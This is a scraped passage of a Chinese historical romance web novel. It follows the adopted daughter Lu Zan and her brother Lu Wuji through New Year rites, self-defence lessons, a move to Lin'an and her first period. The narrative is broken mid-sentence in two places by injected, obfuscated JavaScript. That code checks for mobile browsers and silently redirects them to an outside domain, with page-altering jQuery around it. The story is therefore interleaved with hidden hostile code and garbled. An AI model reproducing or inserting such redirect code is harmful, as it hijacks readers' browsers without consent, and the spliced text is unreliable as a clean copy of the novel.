$(''.inform'').remove(); $(''#content'').append('' 风斟酒,护持道,“平安二字,重逾千金。” 陆风听罢,感激一笑。 一轮酒喝完,吃食也下了肚,不过三更天,大家都有些困意。 江雪见状,提议道:“不如我们玩行酒令可好?” 陆风如临大敌,忙摆手道:“这可是我最不擅长的!你们玩罢!” 江雪笑道:“无妨无妨,只是图个热闹,输了又没人罚你。” 于是陆风便应下了。 行令择了“飞花令”,以雪为题接七言。 江雪执盏沉吟,片刻后方才启唇:“玉屑纷扬素尘轻,疑是春风入旧庭。” 陆簪自幼读书识字,对诗书颇有精益,江雪一开口,她便知此句意境清雅,倒是不俗。 反观陆风,眉间深锁,良久方道:“冻云垂野雪纷纷,寒梅欲放香盈盈。” 此句对仗虽工,却少了些灵气,略显平淡,但于陆风这样的习武之人来说,倒是难得了。 轮到陆无羁时,他负手望向窗外纷扬的雪絮,眸光幽远,静默片刻,方缓声吟道:“孤篷转徙琼瑶界,犹带故园旧雪声。” 陆簪的纤指原本正轻叩案几,闻言停顿下来,抬眸望他。 故园风雪声犹在耳畔,人却已辗转天涯,这句诗,颇有浮萍之叹、羁旅之思。 江雪亦品出诗中深意。 十五载江湖夜雨,这孩子自幼随他们漂泊,本是无根浮萍,何来故园可忆?许是辗转流离久了,暗自渴望着能安定下来,不必再听夜雨打篷声。 思及此,她胸中泛起细密的疼惜。 可对此,她无可奈何。 只好收敛思绪,对陆簪一笑:“簪儿,到你了。” 陆簪并未多加思考,几乎脱口而出:“千山缟素埋冤骨,寒梅泣血带恨生。” 最后一个字音落下时,满室死寂。 直到灯花爆开的细微噼啪声,拉回了众人的思绪。 陆簪诗中字字句句间裹挟着对未竟之仇的恨意,饶是不通文墨的陆风,也听得心头一震。 陆无羁眉心微蹙,凝眸望向陆簪,却见她唇角笑意未减,眸中并无半分异色:“不过一时卖弄,信口胡诌,让爹娘和哥哥见笑了。” 江雪指尖不着痕迹地收紧,随即展颜抚掌,笑声打破了凝滞:“好个簪儿!竟有谢道韫咏絮之才,平日倒是深藏不露,罚你多饮一杯!” 陆簪从容起身,端起斟满的酒盏:“女儿认罚。” 说罢仰首一饮而下。 饮罢执袖掩唇,动作如行云流水,年纪虽小,却比那些世家闺秀更添三分飒爽。 恰在此时,窗外传来第一声鸡鸣,曙色悄然浸染窗纸。 江雪顺势起身,说道:“天都快亮了,我与你们父亲需得准备香案供品,以备清晨祭祀,你们兄妹二人去卧房歇息片刻罢。” 陆簪和陆无羁便一同出门去了。 屋外庭院细雪纷扬,有些寒凉。 陆簪立在门前,伸手接住几片飘落的雪花,那雪在她掌心停留一瞬,便化为乌有,她生生等它们化了,才转首望向身侧的少年:“这雪竟是下了一整夜,都说瑞雪兆丰年,想来今岁定是个好年景。” 她玉白的脸颊被寒气侵出淡淡绯色,青丝间那对木芙蓉缠花轻轻摇曳,陆无羁凝睇着她:“是啊,惟愿天下太平,五谷丰登。” 他的语气一如往日般冷淡,可陆簪喜欢这话,便望向他莞尔一笑。 他素来爱穿白衣,年节也不例外,一袭素白长袍,眉目清俊似水墨点染,自有一段超然物外的气韵。 她想起什么,忽而问道:“《礼记》有言‘男子二十,冠而字’,哥哥还未到取表字的年纪,可我却想到二字与哥哥甚配,不知哥哥可愿听听?” 陆无羁不知她为何会突然问起这个,只依言答道:“愿闻其详。” 只见她轻移莲步,在廊下来回踱了三遭,忽而驻足转身,眸中闪着狡黠的光:“‘执中’二字如何?” 这二字源自《尚书》“允执厥中”,意为诚实地保持中正之道,不偏不倚。 陆无羁在唇间默念三遍,虽觉好听,却更觉困惑:“好是好,只是不知为何是这二字?” 陆簪故作深沉地摇头:“因为哥哥虽名‘无羁’,身上却没有疏狂肆意,落拓不羁的快意与放纵,反倒有些老气横秋。” 陆无羁怔然,一时语塞。 陆簪瞧他云里雾里,不由得扑哧一笑:“我说笑了,哥哥莫怪。” 说罢也不等他回应,便颔首告辞,逃也似的没入门内。 陆无羁站在原地,半晌后,转而将目光投向那株覆雪的石榴枯枝,唇角不自觉勾起,仿佛在那嶙峋的枝干间,已窥见了来年五月,灼灼欲燃的红花。 5. 日常 祭祖仪式在一个时辰后进行。 正堂内香烟缭绕。 陆簪踏入时,见陆风、江雪与陆无羁均换了新衣,正肃穆地行三跪九叩大礼。 陆簪定睛一看,案台上供奉的是一方乌木牌位,那木色幽沉如水,成色不俗,然上面空空荡荡,竟未镌一字。 她心头猛地一跳,像是骤然踏空了一步。 香烛俱备,仪轨周全,这俨然是一场极其郑重的家祭。 可她不明白,既是祭祀,为何不书姓氏名讳?这无名无姓的牌位,祭的又是何人? 陆簪心头虽惊涛暗涌,面上却如静水无波。 礼毕,江雪转身看到站在一旁的陆簪,见她未曾跪拜,也未曾出声问及牌位之事,便知她是个极有主见、心思通透的孩子。 她上前抚了抚陆簪的肩,问道:“簪儿,你要不要朝着家乡的方向,给先祖叩个头?” 陆簪心头骤然一紧,袖中指尖深深掐入掌心。 她早已立誓,血海深仇未报,绝不面见祖宗。 她垂眸低笑:“娘忘了,簪儿伤了脑袋,什么都记不清了,也不知道祖先是谁,家在何处。” 江雪闻言,心头被刺了一下,她急忙牵起唇角:“瞧我这记性,既然记不得了,不提也罢不提也罢!” 又看向陆风和陆无羁:“你爹爹和哥哥练剑的时辰到了,你可愿与娘一同观看?” 陆簪好奇:“今儿是大年初一,也要练习么?” “剑术武功,如同诗文经书,一日都不可废。”陆风正色道。 于是一家人来到院中。 但见陆风剑光如匹练,在皑皑雪地上划出银弧,惊起檐角数只寒雀,陆无羁随手挽了个剑花,雪地上顿时划过一道银芒。 陆簪心头有了别的思量,沉吟片刻,鼓起勇气上前问道:“爹爹,可否教女儿剑术?” 陆风收势回身,剑穗尚在轻颤,他将陆簪从头到脚细细打量,眉峰微蹙:“你为何想学这个?” “我想保护自己。”她眸光坚定。 陆风望向江雪,见她微微颔首,这才默然片刻:“随我来。” 院中积雪未消,陆风命她平举双臂,以竹尺轻点肩胛、肘腕各关节,尺风过处,衣袂轻扬,他又让她试着下腰抬腿,不过几个动作,她却做得歪扭七八。 “不必练了。”陆风收尺轻笑,“簪儿,你骨骼刚硬,非习武之材。莫说练剑,便是学舞也难。” 陆簪顿觉颊畔飞红,垂首不语。 江雪上前揽住她肩头:“不学便不学,女子立世,原不必非靠拳脚功夫。” “可女子本就体弱,若再无防身之技,岂非任人宰割?”陆簪眸中清辉灼灼,显然是想到了逃亡路上的种种,再开口,声音更是坚决,“不习武也可,还请爹爹传授些防身之术。” 陆风沉吟:“这个简单,你若执意要学,让无羁教你便是。” 陆簪看向陆无羁,四目相对时,她盈盈一拜:“哥哥可愿教我?” 陆无羁只道:“习武很苦。” “我不怕。”陆簪道。 陆无羁思忖片刻,又道:“你既是我的妹妹,日后定有我护你周全,何须苦了自己?” 话说到一半,陆簪便勾起唇来,那笑意未达眼底,声音更是疏离冷静:“可哥哥总不会永远都在簪儿身侧,若有一日分开,山高水远,我终究要靠自己。” 陆无羁神色骤凝,薄唇紧抿,不发一言。 “总之。”陆簪福了福身子,颇有些霸王硬上弓的固执,“今日簪儿拜定师父了,往后每日午后,还请哥哥拨出一个时辰指点指点我。” 江雪见状,便道:“好了,无羁你就答应她吧。” 陆无羁沉默,无声点了点头。 陆簪顿时染上雀跃之色,只差没跳起来。 这日午饭后。 院中老石榴树下。 陆无羁虚扶着陆簪的腰肢,提醒:“气沉丹田。” 陆簪依言调整站姿,却因筋骨僵硬微微发颤。 见她额角沁出细汗,他欲言又止,一次又一次修正她的动作。 习练擒拿手时,她屡屡被假想敌挣脱,每每失衡踉跄,她总是抢先示意不让他伸手相扶。 一个时辰下来,她的双腿已经战栗不已,连走路都是困难。 陆无羁忍不住问:“你何苦至此?” 陆簪稳住身形,抹去鼻尖汗珠,眼中燃着不灭的星火:“哥哥可知,断翅的雀鸟若要飞渡关山,总要付出血的代价。” 陆无羁闻言,指尖在袖中微微收拢。 他忽然想起父亲赠他的那柄古剑,剑身隐在鞘中温润如玉,出鞘时却寒光凛冽,宁折不弯。 正如陆簪,她不要搀扶,不要怜悯,她定然经历过断翅之痛,如今想要的,不过是把断骨重新接续。 “明日同一时辰,我教你反擒拿。”他终于开口,声音比往常更低沉几分,“但有个条件——”他目光落在她微微发抖的腿上,“现在让我背你回房。” 陆无羁不等陆簪有所表示,便已俯身,一手穿过她的膝弯,一手稳托住她的背脊,将她打横抱起。 陆簪只觉天地陡然翻转,下意识地轻呼一声,手臂已不由自主地环上他的脖颈。 他的怀抱坚实而温暖,隔着衣衫也能感受到蕴含力量,她生平未曾与男子这般贴近,一时心如擂鼓,却又奇异地感到安定,便没有推拒。 陆无羁步履稳健,径直将陆簪抱回房中,轻轻置于榻上。 陆簪坐稳,坦然道谢:“多谢哥哥。” “不必。”陆无羁转身欲走。 “哥哥是要去念书练字了么?”她知晓每日午后皆是他雷打不动温书练字的时辰。 陆无羁不置可否。 陆簪抬眼望他:“我闲来无事,也想找本书看,哥哥可否容我同你一起?” 他早知她并非目不识丁之人,除夕守岁那夜她言谈间的见识更印证此点,便未多想,只道:“好。” 书桌尚未添置,陆无羁平素便在正厅的饭桌上读书习字。 他将陆簪抱至厅中坐好,自去屋内取了笔墨纸砚与一方沉甸甸的书箱来。 厅内静谧,唯闻窗外偶尔几声雀鸣,二人对坐,各自埋首书卷。 陆无羁铺开宣纸,研墨润笔,开始默写《资治通鉴》的篇章,陆簪则在书箱中略略翻拣,指尖划过数册书籍,最终却取出一卷《商君书》。 陆无羁抬眸瞥见,眉头微扬:“你怎么选了这本?” 此书论法刻深,并非寻常闺阁女子会感兴趣的。 自然是因,那书箱中的书她全都精读过,唯有这本早些时候翻阅过几回,尚未细读。 她只淡淡道:“随手拿的而已。” 陆无羁自然知晓她并非随意,见她不愿多言,却也不拆穿,复又低头专注于笔下。 《商君书》文字虽然不多,但内容庞杂,可谓洋洋大观。 陆簪一口气读完半卷,抬眼才发觉陆无羁已经写好数张宣纸,她搁下书卷,活动了下身子,轻轻取过一张来看——陆无羁写得一手工整的楷书,骨力道健,结构严谨,可见是认真练习过的,只是捺脚稍显迟滞,不够舒展。 她心念微动,执起一旁毛笔,在其中一字上轻轻圈点,说道:“哥哥此处若能以腕力送出,笔势更为贯通,会更见行云流水之态。” 说着,她在纸旁空白处另书一字作为示例,其字清劲洒脱,锋芒内敛,竟是极有功底。 陆无羁凝目看去,不禁怔住。 他的书法由江雪启蒙,然天资颖悟,笔力早臻新境,超越江雪。雏凤清于老凤声,原是为人师者最大的快慰,江雪不止一次夸奖他书道卓越,未料眼前少女不过信手一书,竟远在他之上。 恰在此时,江雪与陆风回家来,见二人正在用功,便含笑走近。 江雪问道:“簪儿也在习字读书吗,都看了些什么?” 陆簪起身唤了声“娘”,方答:“闲来无事,看些杂书打发辰光罢了,倒是哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808353|190756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,十分勤勉。” 陆无羁却仍盯着陆簪方才写的那字,拧眉道:“簪儿过谦了,你的学问见识,远在我之上。” 江雪讶异,凑近去看。 神情倏然一变,眼中尽是惊艳:“妙啊!簪儿,你不仅通晓诗书,这笔字更是风骨独具!” 陆簪的字,是母亲手把手教的,自然写得极好,她并未谦虚,只道:“许久未动笔,早已生疏了。” 江雪又追问:“你的诗书是同谁学的?” 陆簪眼帘微垂,神色微变。 她的母亲出身清河士族,年轻时是京州有名的才女之一,犹精书法。兄长更是惊才绝艳,十二岁以一篇《山河赋》名冠京州,十八岁便已入翰林侍诏,为士林所重。 她自小便由母亲启蒙,九岁起更蒙京州大儒林承徽青眼,破例收为弟子。那位林先生学贯古今,连皇子都曾欲拜入门下,却因与她投缘,倾囊相授。 可惜,不过三年,家中生逢变故,她自此隐姓埋名,亡命天涯,再也回不去那小小的书堂。 她抬眸望向江雪,声音平静:“我也记不真切了,许是我娘教的吧。” 江雪见她神色,心下了然,便不再多问,只笑着又夸赞了几句。 一旁沉默的陆风此刻却开口,对江雪道:“你平日总自诩学问不差,日日督促无羁读书,如今怎倒被个小丫头比了下去?” “我……”江雪一时语塞,面现赧色。 陆簪心中闪过思量,犹豫片刻,对江雪与陆风郑重道:“提起哥哥的学业,簪儿倒是有些想法,想说与爹娘听一听。” 江雪和陆风都向她望来。 陆簪笑道:“年关已过,哥哥已满十五,在我大晏,男子十五岁建功立业者有之,成家立室者亦不鲜见,正所谓自古英雄出少年,哥哥天资颖悟,文武兼修,实非池中之物。” 她语锋微转,望向江雪的目光温婉而恳切:“自然,娘的学问是极好的,教导哥哥亦是尽心竭力,然学海无涯,哥哥上限极高,恐非家中教学所能企及。” 说着,她纤指轻点案上墨迹:“就拿书法来讲:我观哥哥笔力,楷书虽工,却未能尽展其性,或更适合研习更为洒落奔放的行书。依女儿浅见,当为哥哥延请明师,或送入书院深造,方能不负其才。” 江雪闻言,沉吟不语。 她本是寒门出身,后来机缘巧合方得读书明理,虽有些天分,亦算勤勉,积攒了些学问,但终究有限。 她知道陆簪所言,确有道理,只是此前有诸多顾虑…… “那我明日便去为无羁访寻一位名师来家授课可好?”江雪思虑再三,开口问道。 陆簪却轻轻摇头,既已开口,便索性将话说明:“娘,请容女儿再将话说的透彻些。” 她看向窗外:“兰溪虽好,终究偏安一隅,纵有卧虎藏龙,格局气象终不及通都大邑,此为其一。其二,哥哥自幼随爹娘行走江湖,少有安定之时,而做学问最需沉潜专注,持之以恒,尤其是天赋相若之人,最拼专心与刻苦,您若想让哥哥有所成就,恐需择一安稳之地长居。” 讲到此处,陆簪停顿片刻,方才看向陆无羁:“其三,也正因居无定所,哥哥长久相伴的唯有爹娘,缺少同龄友人与他切磋学问,交流心性。爹娘为哥哥取名‘无羁’,本是愿他心性舒卷自如,不为俗尘所缚,可长久不与人深交,性情渐趋孤僻,又如何能真正体会天地广阔,自在遨游之乐?” 她最后深深一拜:“爹娘,请恕女儿直言,江湖本是自由之地,可于哥哥而言,反倒是世间最大的牢笼。” 陆簪这一番话,条分缕析,情理兼备,说得江雪与陆风相顾默然,一时厅内静极。 陆无羁定定望着陆簪,眸中闪烁着复杂难言的情绪。 他从未听过有人能将他的处境,他的潜在束缚,与内心那点未曾言明的渴望,剖析得如此清晰透彻。 他心中震动,久久难平,仿佛一直笼罩在眼前的薄雾被一只手轻轻拨开,现出前方更为开阔的天地。 6.暖脚 厅内一时静极。 暮色渐合,斜阳余晖透过窗棂,在地上投下几道斑驳的影。 陆风深深看了陆簪一眼,这孩子心思之缜密,见识之超卓,绝非寻常闺阁女子可比。他心中早已认同她所言,只觉一介粗人,于学问上见识浅薄,家中大事素来由江雪拿主意,便起了身,拍了拍衣摆:“你们商量便是,我去瞧瞧院里的柴火还够不够。” 说罢大步走了出去,将一室静谧留给三人。 江雪立于窗边,望着院中那株在暮色里沉默的老石榴树,心中波澜起伏。 陆簪所言,她何尝不知?只是这兰溪虽小,却是她与陆风精心挑选的避世之所,地处偏僻,民风淳朴,便于隐匿行踪。方才她与陆风出门,便是为了巡视四周,见此处并无任何异状,更觉安心。 她来回踱步,权衡着安稳与孩儿前程之间的轻重。 陆簪垂眸静立,心中却如潮涌。 她方才那番言辞,字字为陆无羁前程考量,实则亦藏私心。 血海深仇,她一刻不敢忘。 忆及逃亡之路,前半程尚有嫂嫂相依为命,虽食不果腹、颠沛流离,心却有所依傍。后来嫂嫂亦故去,她孤身一人,一个稚龄女子行走于世,诸多不便,数次险遭不测,若非机警,只怕早已…… 那些惊恐无助,饥肠辘辘的日夜,刻骨铭心。 栖身陆家,不过是权宜之计,她需要时间长大,需得积蓄力量。 可兰溪偏安一隅,消息闭塞,若去往繁华之地,人来客往,方能探听京中风向。 而陆无羁…… 她悄悄抬眼望向身旁少年,他品貌才学皆是上选,若得名师指点,将来科场扬名,或许便是她重返京州的一线契机。 正当她暗自思忖之际,陆无羁忽而起身,行至江雪面前,郑重一礼:“母亲,不必再思虑了。孩儿赞同簪儿所言。” 江雪看向已然比自己高出半个头的儿子,嘴唇翕动了几下,声音微涩:“无羁,你可会怪爹娘?” “不怪。”陆无羁语气平静。 “可终究是爹娘将你看管过严,拘束起来。” “孩儿不需好友,亦不喜与外界往来,此番决定,只为自己能成为更好的人。”陆无羁目光坦荡,语气并无波澜。 闻得此言,江雪知孩子心意已定,且确实长大了,便不再犹豫:“既如此,我们,去临安。” 翌日清晨,天色微熹,行李已陆续搬上马车。 陆风一边利落地套着马,一边笑道:“没成想在这兰溪,住了不足五日便要离去,当真如同露水姻缘一般短暂。” 江雪将最后一包细软放妥,闻言便道:“既已决定,便无需拖泥带水。” 马车辘辘驶出小巷,清晨的薄雾尚未散尽,长街上行人寥寥。 车内,一家人倒也未有多少离愁,反因对前路的期待而略显轻松。 陆簪忽而问道:“爹,娘,我们到了临安,打算以何维生?” 陆风扬鞭轻笑,声若洪钟:“你爹我走南闯北,做过镖师,行过商,也当过樵夫、渔夫和猎人,总有一身力气和手艺,饿不着你们娘仨。到了那边,再见机行事便是。” 陆簪沉吟片刻,道:“临安富庶,商贾云集,女儿觉得,重操旧业亦无不可。记得爹娘提过,昔年在西北曾经营草药与皮毛生意,这两样在江南亦是紧俏之物。尤其皮毛,北货南贩,利润颇丰;而药材一道,若能寻得可靠货源,辨识真伪,于这人口繁密之地,更是不愁销路。” 她将两地物产,市场需求分析得清晰明了,江雪与陆风对视一眼,均在对方眼中看到了惊异与赞许。 陆风朗声笑道:“好!就听簪儿的!到了临安,咱们这草药皮毛铺子,便再开起来!” 几日后,临安城西,一处比兰溪小院宽敞不少的二进宅院悄然迎来了它的新主人。 江雪虽觉此地租金昂贵,仍咬牙租下了这处房子,只因此处安静,且房中多了一间独立书房,可供无羁专心向学。 安顿下来后,江雪与陆风便终日在外奔走,一面打听城中情形,一面为无羁寻访名师,一面也为重开铺子张罗。 三个月弹指而过,铺面总算在城北的一条街巷落了脚,延请的西席先生也定了下来,是位姓杜的老秀才,学问扎实,为人端方。 铺子开张首日,江雪与陆风一早便去店里照应,开业之日人多眼杂,不宜让陆簪和陆无羁抛头露面,且好生在家看顾门户。 是夜,春风拂槛,院中移栽不久的一株海棠开得正盛,粉白花瓣在月色下泛着靡靡软光。陆无羁温书至晚,见陆簪迟迟未至饭厅,便去她房中唤她。 推开虚掩的房门,却见陆簪蜷缩在床榻之上,身子微微发抖。 他眉头立时锁紧,几步上前,目光在她面上扫过,看她唇色发白,气息紊乱的模样,第一个念头便是中毒或是急症发作。 他当即转身,就要往外走。 “哥哥……”一声虚弱的轻唤止住了他的脚步。 回头见她勉力睁眼,贝齿紧咬着失了血色的下唇,眼睫湿漉漉地颤着,声音细弱:“你要去哪。” 陆无羁道:“自然去为你请郎中。” 陆簪强撑着起身,颇有些为难地道:“别去,只是初来月事,有些难忍罢了。” 陆无羁身形顿住,这才恍然。 是了,她已十四,确是女子天癸将至的年纪。 他沉默地站在原地,面上看不出什么表情,只喉结微动,半晌,才硬邦邦地吐出几个字:“我能做些什么。” 陆簪闻言,双颊绯色更浓,她眸中水色潋滟,唇瓣微启又合,终是细声道:“还要劳烦哥哥,替我寻些干净的细白布与棉絮来。”她眼睫轻颤,语气却愈发坦然,“我需得自己缝制月事带。” 她说完这番话,眼波轻轻一转,那目光如春水泛波,在摇曳的灯影里平添几分说不清道不明的娇怯。只因让一个男子去置办这些,实在是有些难为情了。 陆无羁目光在她苍白虚弱的脸上停留一瞬,眉头微蹙:“你这样,还能缝制?” 陆簪勉力想坐直些,却因腹痛又软了身子,声音细弱:“我可以的。” “别逞强。”他打断她,语气依旧平淡,“告诉我怎么做,我来。” 陆簪迟疑片刻,见他神色认真,便不再坚持,将月事带的缝制方法细细说了。 陆无羁听完,只点了下头,便取了针线布帛,在窗边的矮凳上坐下。 窗外一树海棠随风摇曳,夜风过处,花瓣簌簌飘落,有几片顺着半开的窗棂落在他的肩头。 他就那样就着烛光,垂眸穿针引线,动作生疏却专注。 陆簪静静望着他。 她从未想过,人生第一条月事带,竟会是他做的。 陆无羁做事很利落,很快便缝好递过来。 陆簪在他搀扶下勉强坐起,许是动作间牵扯了被褥,一抹暗红痕迹不经意露了出来,她忙掖紧被角,垂眸笑道:“让哥哥见笑了。” 陆无羁目光扫过那抹红,神色未变,只道:“把脏衣换下,穿着不舒服。方才我已烧了热水,这就提来,你擦洗一下罢。” 陆簪素来爱干净,便点了头。 不多时,陆无羁提进一桶热水,又将一只碗递给陆簪。 碗中是深褐色的糖水,正袅袅地冒着白气。 陆簪微微一怔,他方才只说会提热水来,并未言其他,在这私密的窘境里,一碗适时递上的红糖水,其意味远不止驱寒止痛。她抬眸,有些意外地看了他一眼。 “趁热。”他一如往常,言简意赅。 “多谢哥哥。”陆簪浅浅一笑,接过碗,低下头,小口啜饮。 糖水的热度顺着喉咙滑下,仿佛连带着将腹中的阵阵绞痛也熨帖了几分。 “烫么?”他站在一旁,看着她一小口一小口极慢地喝,忽然问了一句。 陆簪轻轻摇头,声音比方才多了些许气力:“还好。” 她慢慢将整碗红糖水慢慢饮尽,他则将西窗前的屏风摆正,又放下了帷幔,将木桶提进隔出的一方天地里,而后出了门去。 她见他离开,才走到帷幔之后开始清洗。 不多时,陆无羁的身影又自外间转回,取走了脏污的床单衣物,又把被褥重新铺整。 细微的水声仅凭一方纱幔并不能完全隔绝。 在他俯身整理枕褥时,一阵清风恰巧拂过,皎洁的月光如水银般泻入,也轻轻拂动了垂落的帐幔,她模糊而纤细的身影朦朦胧胧地映在其上,正抬手将青丝绾起。 陆无羁的动作生硬地顿了一瞬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812944|190756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的目光掠过那道朦胧剪影,眼眸深处似有暗流涌过,随即迅速收敛,恢复了惯常的沉静,手下动作不自觉加快,飞速将床铺打理妥当,便头也不回地大步走了出去。 陆簪只是简单擦洗一番。 待她换好干净的中衣,掀开帐幔时,却不由一怔——榻上那片狼藉的床单已不见踪影,连她换下的脏衣也一并消失了。 她眉头微动,推开房门,恰见院中,陆无羁正将她的衣物晾上竹竿。 月光如水,将他挺拔的身影拉得修长。 她扶着门框,静静望着。 他若有所觉,回身看来。 四目相对时,她浅浅一笑。 他拧起眉头:“风凉,进去。” 她笑着点头,说:“好。”却仍倚门不动。 他深深看了她一眼,虽不解,也没再多言,转身去了厨房。 片刻后,他灌了个汤婆子出来,递到她手里:“回去躺着,我去热饭。” 陆簪什么也没说,就这么抱着温热的汤婆子回到屋里,半靠在榻上,看着床帐上的穗子发呆。 陆无羁很快端了热好的饭菜进来。 他在榻边坐下,执起汤匙,舀了粥,递到她唇边。 她微微一愣,却并没推脱,终是启唇含住。 一勺一勺,他喂得耐心,她吃得安静。 烛火将两人的影子投在墙上,交叠着,随着火光轻轻晃动。 用过饭,他收拾了碗筷便离开了。 约莫过了半个时辰,他又端来一盘红枣,问道:“还难受么?” 陆簪摇头:“好多了。” 陆无羁点头,放下东西后便转身要走。 陆簪不由唤住:“哥哥若不急着温书,陪我坐会儿可好?” 陆无羁脚步微顿。 见她笑:“爹娘都不在,也没个人说话,怪冷清的。” 陆无羁闻言,便在离床三步远的矮凳上坐下。 烛光将他的侧影投在粉墙上,挺拔却疏离,陆簪望着两人之间那段空荡荡的距离,忍不住往床里侧挪了挪,轻拍身旁的空处:“你过来坐罢。” 他抬眸看她。 烛光映照下,她面色仍带着病后的苍白,几缕青丝松散地垂在颊边,更衬得那张小脸尖俏可怜。然而那双望向他的眸子却清亮如水,不见丝毫阴翳与忸怩。 她如此坦荡,他便不再迟疑,起身到床沿从容坐下。 夜风从半开的窗隙潜入,带着海棠的香气,也带来一丝春意料峭的寒,陆簪不自觉地蜷了蜷身子,被下的双足互相摩挲着取暖。 “冷?”陆无羁问,目光落在微微起伏的被面上。 陆簪蜷了蜷身子,声音带着些许鼻音:“脚有些冷。” 陆无羁犹豫片刻,伸手探进被中,握住她冰凉的足踝,她惊得想要缩回,却被他稳稳按住。 “哥哥……”陆簪嗫嚅。 “无妨。”陆无羁语气平静自然,“你尚未及笄,在我眼中仍是孩童,不必顾虑那些虚礼。” 他掌心温热,透过薄薄的罗袜,将那暖意一点点渡给她。 陆簪不是不懂个中微妙之情,只默默掩住了,胡乱抓过枕边的一卷书册,假意翻阅,以掩窘态。 过了许久,或是觉得太过安静,陆无羁便寻了个话头,问道:“看的什么书?” “不过是一些诗词闲篇。”她声音细弱。 “念来听听可好?”陆无羁问。 陆簪便依言,轻声念了一首晚唐韩偓的《夜深》:“恻恻轻寒翦翦风,小梅飘雪杏花红。夜深斜搭秋千索,楼阁朦胧烟雨中。” “甚好。”陆无羁点评道,“春夜微寒,落花如雨,我亦念一首与你。” 他略一沉吟,声音在静夜中格外清晰:“抱柱立时风细细,绕廊行处思腾腾。分明窗下闻裁翦,敲遍阑干唤不应。”此乃韩偓的《倚醉》。 念罢,两人一时无话。 陆无羁正欲开口让她歇下,远处隐隐传来了江雪清晰的语声,由远及近。 他当即起身:“爹娘回来了,我去迎一迎。” 随即转身向外迎去,衣袂带起微弱的风,拂动了榻边垂落的帐幔。 陆簪看他消失在眼前,只觉一室灯火温然,窗外海棠香气暗度,春夜正长。 7.暖手 搬到临安后,一家人渐渐安定,日子也过得顺遂起来。 夏初时节,暑气渐盛,陆簪取了几味药材——鲜藿香、清半夏、茯苓并少许陈皮、甘草,依古法又加了两味药,配了剂解暑汤方。 此汤饮下,不仅消暑解热,更能健胃消脾,最宜夏日饮用。 陆无羁见了,便提议不必售卖药包,直接煎好按碗售卖,一碗两文钱,省事又便宜。若有那讲究的达官贵人,便用白瓷小罐封了,一罐售三十文。如此一来,汤方握在自家手中,纵有那等想仿效的,也不得其味。 此举一出,陆家铺子很快便赚得盆满钵满。 家中宽裕后,江雪便思量着给家里添些个使唤人。 她给自己买了个贴身仆妇刘妈妈。 给陆无羁买了个十二岁的书童,名唤陈松涛,生得眉清目秀;又给陆簪买了个十三岁的丫鬟,原名乔红花,陆簪嫌这名字太过乡气,想起从前家中贴身侍女,便为她改名“落葵”。小丫头圆脸大眼,看着很是讨喜。 光阴荏苒,在临安一住便是两年。 陆簪已满十六,陆无羁年长陆簪一岁,已有十七岁,两人皆已长成。 陆无羁褪去了少年稚气,身量愈发挺拔。 他常着一袭素白长衫,立时宛若雪岭孤松,行时衣袂飘举似流风回雪。那张脸更是生得极好,眉如墨画,目若寒星,最难得的是那股清冷气质,仿佛山巅终年不化的积雪,令人不敢轻易靠近,又忍不住心生向往。 这般品貌,莫说是在这临安城中,便是放在京华之地,也属罕见。不知从何时起,他的名声便传扬开来,称之“清若姑射仙人,冷如昆仑美玉”。 常有画师躲在街角偷偷描摹他的形貌,因他极少展颜,一张含笑的画像便能卖到十两银子。更有许多怀春少女,寻着由头来陆家药铺,或是假装问诊,或是购买药材,实则只为远远瞧他一眼。 其中尤以药铺隔壁李记酒楼的千金李兰儿,与本地通判家的崔月奴最为执着,旁人隔三差五来一回,她二人却是日日必至。 陆风见状,常打趣道:“咱这临安城里有病的女子,可真真是多啊。” 江雪却玩笑不起,眉间常锁轻愁,私下对陆无羁道:“日后无事少在铺中露面。”又对陆风忧心忡忡道:“我瞧你是安稳日子过惯了,忘记你我是怎样刀尖舔血的悬命之人,只怕要做好随时离开的打算。” 陆簪这边更是棘手。 她平日深居简出,谁知那日去布庄扯几尺料子,竟被本地安抚使家的公子杨莳瞧上了。 这位杨公子仗着家世,一心要纳她为妾。 起先还假作斯文,日日往家门口送些金银珠玉,又候在巷口欲邀佳人一叙,后见陆簪始终冷面相对,竟恼羞成怒,遣人来铺子里威胁打砸。幸而那崔月奴心系陆无羁,每每相护,药铺方才正常营业。 惊蛰刚过,忽传出杨莳与邻县一位官家小姐订亲的消息,旋即,陆簪便收到杨莳书信,言道成家前欲与她作别,邀她至毓楼一聚,如若不肯,他便找上几个壮汉赖在陆家药铺不走了。 陆簪见信后,却是笑了一笑,欣然应允。 晨起梳妆时,陆无羁折了一瓶新梨的花枝过来,走至檐下,隔窗见陆簪正对镜理妆。 两年光阴,昔日的青涩少女,如今出落的宛如月中仙子,自有一段天然风流。双眉如春山染就的烟岚,眼眸似浸在清泉里的墨玉,眼尾天然一段柔媚弧度,看人时总带着三分朦胧水汽。琼鼻秀挺,唇若花瓣,一头青丝松松绾作发髻,几缕散发垂在颊边,更添几分娇慵之态。 她正执一支忍冬纹银簪,纤纤玉指轻绕青丝,举手投足间尽是说不尽的婉约风致。 忽见落葵从柜中取出一身湖蓝色罗裙,裙裾上用银线绣着细密的缠枝莲纹,行动间似有波光流动。 落葵问道:“姑娘穿这身可好?” 陆簪自镜中瞥了一眼,微微颔首:“既如此,我便戴那支点翠嵌蓝宝的步摇罢。” 